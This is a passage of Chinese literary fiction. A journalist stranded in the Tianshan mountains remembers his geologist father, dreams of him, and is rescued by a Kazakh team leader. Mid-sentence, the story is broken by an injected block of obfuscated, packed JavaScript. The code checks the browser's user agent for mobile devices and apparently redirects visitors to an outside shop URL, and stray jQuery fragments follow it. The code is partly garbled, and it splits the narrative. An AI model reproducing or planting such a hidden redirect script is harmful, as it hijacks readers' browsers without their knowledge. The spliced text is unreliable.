传来：“……坚持……车已出发……”

    挂断后，希望并未如期而至，反而让等待变得更加锋利。知道救援在路上，就像知道刀正在落下，却看不见它下落的轨迹。小刘开始检查车辆设备，一遍又一遍，用机械的重复对抗焦虑。摄影记者睡着了，发出轻微的鼾声，怀里还抱着相机。叶葆启看着这两个同伴，忽然涌起一种近乎温柔的情绪：他们是他在这个世界上最熟悉的陌生人，共享过同一段被压缩的时空，此后无论生死，都会在彼此的记忆里留下烙印。

    他想起了自己早逝的父亲，一个沉默的人。父亲唯一留下的遗物是一本野外笔记，最后一页写着：“今日在昆仑山北坡发现蓝色岩层，疑为古海洋遗迹。风大，帐篷险些被掀翻。小马发烧说明话，喊一个女人的名字，不是他妻子。大山记得所有秘密。”

    大山记得所有秘密。此刻天山也记得他们的困境，记得引擎最后的哀鸣，记得手电筒光柱划破雨夜的轨迹。许多年后，当其他车辆经过此处，或许会收到这段记忆的碎片——无线电里莫名的杂音，仪表盘瞬间的波动，或是车灯照亮岩壁时一闪而过的、三个模糊人影。

    救援车到来前，叶葆启做了一个短暂的梦。他梦见自己走出了越野车，雨停了，月光洒满河谷。前方站着一个人，背对着他，穿的是七十年代的地质队员制服。那人转过身，是父亲的脸，却年轻得令人心碎。

    “路还远。”父亲说，声音像碎石摩擦。

    “我知道。”

    “有些东西不要深究。”父亲指向河谷深处，“山肚子里埋着的，不只是岩石。”

    “那还有什么？”

    父亲笑了，笑容裂开，里面不是牙齿，是小小的、发光的晶体：“有光。被压碎的光，尖叫的光，还有永远不会抵达目的地的光。”

    梦在这里断裂。引擎声由远及近，雪亮的光柱刺破黑暗。救援车像从神话里驶出的巨兽，浑身沾满泥浆，车前焊着粗壮的钢架，仿佛中世纪骑士的长矛。

    哈萨克族队长跳下车时，大地都在震动。他叫叶尔肯，脸颊上有两道深刻的冻疮疤痕，像额外的嘴。“记者同志！”他的握手有力得能捏碎骨头，“又是这个鬼地方，今年第三辆车了。”

    救援过程简单粗暴：钢缆、绞盘、引擎的咆哮。越野车被从大地的吮吸中拔出来时，发出一种

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904185|192343||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    类似哭泣的吱呀声。叶尔肯检查了底盘，吐了口唾沫：“没事，天山跟你们开玩笑呢。它有时吞辆车，就像人嗑个瓜子。”

    重新上路前，叶尔肯递给叶葆启一个锡壶：“喝一口，驱寒。”

    是烈酒，滑过喉咙时像吞下一道火线。叶葆启咳嗽起来，眼泪都呛了出来。叶尔肯大笑，笑声在河谷里回荡，惊起了远处不知名的夜鸟。

    “你们要去南疆？”叶尔肯问。

    “去库尔勒，然后可能去和田。”

    “南疆的沙子和北疆的雪不一样。”叶尔肯望向黑暗深处，“雪只是冷，沙子会钻进你的脑子，改变你想事情的方式。小心点，记者同志，别让沙子住进去。”

    这句忠告像一颗种子，埋在了叶葆启心里。后来的日子里，他时常感到后脑勺某处有细微的摩擦声，仿佛真有沙粒在那里定居，缓慢地打磨着他